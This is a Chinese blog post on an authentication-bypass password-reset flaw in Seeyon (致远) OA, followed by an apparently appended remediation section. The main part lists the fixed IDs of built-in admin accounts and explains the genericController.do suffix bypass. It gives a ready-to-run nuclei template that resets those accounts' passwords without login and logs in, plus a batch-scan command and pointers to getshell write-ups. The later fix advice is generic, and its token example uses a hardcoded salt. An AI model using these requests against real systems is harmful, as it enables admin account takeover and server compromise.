致远OA_ucpcLogin密码重置_后台可getshell

 

漏洞概述:

致远中存在一些自带的用户,这些用户的memberid值都是固定的,正常情况下,我们可以通过changePassword方法修改system等用户的密码。

seeyon-guest -6964000252392685202system -7273032013234748168audit-admin -4401606663639775639group-admin 5725175934914479521

该漏洞是对rest接口重置密码漏洞补丁权限的绕过

CTPSecurityFilter.classdoFilter方法中,根据uri的特征,分别有7种权限校验的方法
其中当uri的后缀为.do或者 .do;jessionid=的时候,那么就会进入到SpringControllerAuthenticatorauthenticate方法中进行验证。

而rest接口修改密码的路由为/seeyon/rest/orgMember/-7273032013234748168/password/123456123456为我们需要修改的密码,当把密码写成123456.do或者123456.do;jessionid= ,即可让该请求走SpringControllerAuthenticatorauthenticate方法中进行验证,所以只需要普通用户的权限就可以修改管理员的密码。

但是仍旧需要登录,但是当后缀选择genericController.do或者​share.do接口时,所有的action都不需要登录,这就实现前台修改管理员密码​。

漏洞复现:

nuclei脚本:

 

 

id: zhiyuanOA-ucpclogin-passwordresetinfo:  name: zhiyuanOA-ucpclogin-passwordreset  author: unknow  severity: critical    http:  - raw:      - |+        PUT /seeyon/rest/orgMember/{{memberid}}/password/genericController.do HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=        Connection: close            payloads:      memberid:        - "-6964000252392685202"        - "-7273032013234748168"        - "-4401606663639775639"        - "5725175934914479521"  - raw:      - |+        POST /seeyon/rest/authentication/ucpcLogin?login_username={{name}}&login_password=genericController.do&ticket= HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=        Connection: close            payloads:      name:        - seeyon-guest        - system        - audit-admin        - group-admin    matchers:      - type: word        part: body        words:          - '"LoginOK":"ok"'                  

批量验证:

nuclei.exe -p http://127.0.0.1:8080 -stats -t wangkang-NS-ASG-list-sqli.yaml -u xxxxxxxxxxxxxxxxxxxx

 

 

 

登录后台后,可利用通过ZipSlip漏洞getshell。需要的​朋友可以去看相关的文章。

https://mp.weixin.qq.com/s/AwXaoIq5kCHScx9NUcgPfQ

https://xz.aliyun.com/t/13741​

### 致远OA用户密码重置安全漏洞及其修复方法 #### 漏洞概述 致远OA存在一个高危级别的任意用户密码重置漏洞,允许未经授权的攻击者通过构造特定的数据包来触发未授权的密码重置行为。这可能导致攻击者获得合法用户的账户控制权限,并进而实施更严重的攻击活动[^3]。 #### 漏洞影响范围 受影响的产品版本包括但不限于V5/G6 V8.1SP2、V8.2等系列版本。这些版本中存在的缺陷使得它们容易受到上述提到的攻击方式的影响。 #### 修复方案详解 为了有效防范此类攻击的发生,在开发层面应当采取如下措施: - **增强身份验证逻辑** 对于任何涉及更改敏感信息的操作(如修改密码),应该严格检验发起者的身份合法性。具体来说就是确保只有经过认证后的会话才能发送有效的变更请求,并且每次操作都需重新确认一次当前登录状态下的真实意图。此外还需加入额外的身份验证因素,比如短信验证码或邮件令牌等形式作为辅助手段以增加安全性[^2]。 - **优化前端交互设计** 避免直接向浏览器端暴露过多不必要的个人信息字段(例如手机号码、电子邮箱地址)。对于确实必要的提示性文字,则尽可能采用部分隐藏的方式显示给用户查看即可满足业务需求的同时减少潜在风险点的存在概率。 - **引入防暴力破解机制** 设置合理的尝试次数上限以及相应的锁定策略,当检测到来自同一IP地址连续多次失败记录时自动对该源进行短暂封禁处理直至管理员介入审核为止。这样既能够阻止恶意程序批量测试弱口令组合的行为发生又能保障正常用户的正常使用体验不受干扰。 - **改进URL参数加密算法** 使用高强度哈希函数生成唯一性的Token字符串代替原有的简单数值型标识符参与到整个流程当中去。这样一来即使有人截获到了完整的HTTP GET请求也无法轻易解析出其中所携带的具体含义从而达到保护隐私的目的。 ```python import hashlib, time def generate_secure_token(user_id): timestamp = str(int(time.time())) random_salt = 'some_random_string' token_input = f"{user_id}{timestamp}{random_salt}" secure_token = hashlib.sha256(token_input.encode()).hexdigest() return secure_token ``` #### 后续维护建议 官方已经针对这个问题发布了专门的安全补丁文件供客户下载安装使用。强烈推荐各机构尽快安排技术人员依照指导手册完成相应升级工作以免遭受不必要的损失[^1]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值